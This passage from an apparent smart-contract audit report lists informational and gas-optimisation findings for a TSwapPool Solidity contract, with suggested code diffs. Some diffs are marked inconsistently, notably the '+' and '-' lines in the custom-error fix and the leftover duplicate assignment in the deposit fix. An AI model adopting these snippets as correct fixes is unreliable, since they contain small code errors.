Description: If a function is marked **public** but is not used internally, consider marking it as **external**.

```
1      function swapExactInput(  
2          IERC20 inputToken,  
3          uint256 inputAmount,  
4          IERC20 outputToken,  
5          uint256 minOutputAmount,  
6          uint64 deadline  
7      )  
8  -      public  
9  +      external
```

[I-7] TSwapPool::deposit does not follow CEI

Description: For best practices, it is advised for any protocol to adhere to CEI (Checks, Effects, Interactions).

```
1      function deposit(  
2          ...  
3      } else {  
4          // This will be the "initial" funding of the protocol. We  
5          // are starting from blank here!  
6          // We just have them send the tokens in, and we mint  
7          // liquidity tokens based on the weth  
8  +      liquidityTokensToMint = wethToDeposit;  
9          _addLiquidityMintAndTransfer(wethToDeposit,  
10         maximumPoolTokensToDeposit, wethToDeposit);  
11         liquidityTokensToMint = wethToDeposit;  
12     }  
13 }
```

[I-8] TSwapPool::swapExactInput does not have a NatSpec

Description: For best practices in code readability and maintainability, it is advised for any protocol to include a comment on their functions using NatSpec format.

Gas Optimization

[G-1] Unused storage variable `TSwapPool::poolTokenReserves`

Description: Storage variable will increase gas cost, consider removing those that are unused:

```
1 - uint256 poolTokenReserves = i_poolToken.balanceOf(address(this));
```

[G-2] Constant `TSwapPool::MINIMUM_WETH_LIQUIDITY` should not be emitted in custom error

Description: Consider removing the field `MINIMUM_WETH_LIQUIDITY` to reduce gas cost:

```
1     function deposit(  
2         uint256 wethToDeposit,  
3         uint256 minimumLiquidityTokensToMint,  
4         uint256 maximumPoolTokensToDeposit,  
5         uint64 deadline  
6     )  
7     external  
8     revertIfZero(wethToDeposit)  
9     returns (uint256 liquidityTokensToMint)  
10    {  
11        if (wethToDeposit < MINIMUM_WETH_LIQUIDITY) {  
12 -            revert TSwapPool__WethDepositAmountTooLow(  
13 +                MINIMUM_WETH_LIQUIDITY, wethToDeposit);  
14 +                revert TSwapPool__WethDepositAmountTooLow(wethToDeposit);  
15        }  
16    }
```